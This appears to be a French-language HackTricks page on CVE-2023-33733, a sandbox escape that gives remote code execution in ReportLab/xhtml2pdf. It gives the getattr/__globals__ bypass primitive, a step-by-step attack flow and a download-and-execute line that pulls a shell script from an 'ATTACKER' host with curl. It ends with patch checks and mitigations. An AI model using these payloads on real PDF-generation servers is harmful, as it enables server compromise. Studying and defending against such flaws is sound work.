ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Cette page documente un contournement pratique du sandbox et un primitive RCE dans rl_safe_eval de ReportLab utilisé par xhtml2pdf et d’autres pipelines de génération de PDF lors du rendu d’HTML contrôlé par l’utilisateur en PDF.
CVE-2023-33733 affecte les versions de ReportLab jusqu’à et incluant 3.6.12. Dans certains contextes d’attribut (par exemple color), les valeurs entourées de triple crochets [[[ … ]]] sont évaluées côté serveur par rl_safe_eval. En construisant une charge utile qui pivote depuis un builtin autorisé (pow) vers les globals de la fonction Python, un attaquant peut atteindre le module os et exécuter des commandes.
Points clés
- Trigger: injecter [[[ … ]]] dans des attributs évalués tels que au sein du markup analysé par ReportLab/xhtml2pdf.
- Sandbox: rl_safe_eval remplace les builtins dangereux mais les fonctions évaluées exposent toujours globals.
- Bypass: créer une classe transitoire Word pour contourner les vérifications de noms de rl_safe_eval et accéder à la chaîne “globals” tout en évitant le filtrage des dunder bloqués.
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - Stabilité: retourner une valeur valide pour l’attribut après exécution (pour color, utiliser and ‘red’).
Quand tester
- Applications qui exposent une exportation HTML-to-PDF (profils, factures, rapports) et affichent xhtml2pdf/ReportLab dans les métadonnées du PDF ou les commentaires de la réponse HTTP.
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- La réponse HTTP pour un PDF commence souvent par un commentaire générateur ReportLab
Comment fonctionne le contournement du sandbox
- rl_safe_eval supprime ou remplace de nombreux builtins (getattr, type, pow, …) et applique un filtrage des noms pour refuser les attributs commençant par __ ou figurant dans une denylist.
- Cependant, les fonctions “sûres” vivent dans un dictionnaire globals accessible via func.globals.
- Utiliser type(type(1)) pour récupérer la vraie fonction builtin type (contournant le wrapper de ReportLab), puis définir une classe Word dérivée de str avec un comportement de comparaison muté de sorte que :
- .startswith(‘’) → renvoie toujours False (contourne la vérification name startswith(‘’))
- .eq renvoie False uniquement à la première comparaison (contourne les vérifications d’appartenance denylist) et True ensuite (pour que getattr fonctionne)
- .hash égale hash(str(self))
- Avec cela, getattr(pow, Word(‘globals’)) renvoie le dict globals de la fonction pow enveloppée, qui inclut un module os importé. Ensuite :
['os'].system('<cmd>').
Schéma d’exploitation minimal (exemple d’attribut) Placer la payload à l’intérieur d’un attribut évalué et s’assurer qu’elle retourne une valeur d’attribut valide via un et logique boolean et ‘red’.
- La forme en list-comprehension permet une expression unique acceptable par rl_safe_eval.
- Le and ‘red’ final renvoie une couleur CSS valide pour que le rendu ne casse pas.
- Remplacez la commande selon vos besoins ; utilisez ping pour valider l’exécution avec tcpdump.
Flux opérationnel
- Identifier le générateur PDF
- Le Producer du PDF montre xhtml2pdf ; la réponse HTTP contient un commentaire ReportLab.
- Trouver une entrée reflétée dans le PDF (par ex. bio/description du profil) et déclencher une exportation.
- Vérifier l’exécution avec un ICMP peu bruyant
- Exécuter :
sudo tcpdump -ni <iface> icmp - Payload : …
system('ping <your_ip>')… - Windows envoie souvent exactement quatre requêtes echo par défaut.
- Obtenir une shell
- Pour Windows, une approche fiable en deux étapes évite les problèmes de quoting/encodage :
- Stage 1 (download):
- Stage 2 (execute):
- Pour les cibles Linux, une approche similaire en deux étapes avec curl/wget est possible :
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
Remarques et astuces
- Contextes d’attribut : color est un attribut évalué connu ; d’autres attributs dans le markup ReportLab peuvent aussi évaluer des expressions. Si un emplacement est filtré, essayez d’autres champs rendus dans le flux PDF (différents champs, styles de tableau, etc.).
- Quoting : Gardez les commandes compactes. Les téléchargements en deux étapes réduisent drastiquement les problèmes de quoting et d’échappement.
- Fiabilité : si les exports sont mis en cache ou en file d’attente, variez légèrement la payload (par ex. chemin aléatoire ou paramètre de requête) pour éviter de tomber sur des caches.
Statut du correctif (2024–2025) et identification des backports
- 3.6.13 (27 Apr 2023) a réécrit
colors.toColoren un parseur par marche AST ; les versions 4.x plus récentes conservent ce chemin. Forcerrl_settings.toColorCanUseversrl_safe_evalourl_extended_literal_evalréactive l’évaluateur vulnérable même sur les versions actuelles. - Plusieurs distributions fournissent des correctifs backportés tout en conservant des numéros de version tels que 3.6.12-1+deb12u1 ; ne vous fiez pas uniquement au numéro de version sémantique. Grep
colors.pypourast.parseou inspecteztoColorà l’exécution pour confirmer que le parseur sûr est en place (voir contrôle rapide ci-dessous). - Contrôle local rapide pour voir si le correctif basé sur AST est présent :
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
Atténuations et détection
- Mettre à jour ReportLab vers 3.6.13 ou une version ultérieure (CVE-2023-33733 corrigée). Suivre aussi les avis de sécurité des paquets des distributions.
- Ne fournissez pas du HTML/markup contrôlé par l’utilisateur directement à xhtml2pdf/ReportLab sans un assainissement strict. Supprimez/refusez les constructions d’évaluation [[[…]]] et les balises spécifiques au fournisseur lorsque l’entrée n’est pas de confiance.
- Envisagez de désactiver ou d’encapsuler complètement l’utilisation de rl_safe_eval pour les entrées non fiables.
- Surveillez les connexions sortantes suspectes lors de la génération de PDF (par ex., ICMP/HTTP depuis les serveurs applicatifs lors de l’export de documents).
Références
- PoC et analyse technique : c53elyas/CVE-2023-33733
- 0xdf University HTB write-up (exploitation réelle, payloads Windows en deux étapes) : HTB: University
- Entrée NVD (versions affectées) : CVE-2023-33733
- Documentation xhtml2pdf (concepts de balisage/page) : xhtml2pdf docs
- Notes de version ReportLab 3.6.13 (réécriture AST de toColor) : What’s New in 3.6.13
- Suivi de sécurité Debian montrant des correctifs rétroportés avec des versions mineures inchangées : Debian tracker CVE-2023-33733
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


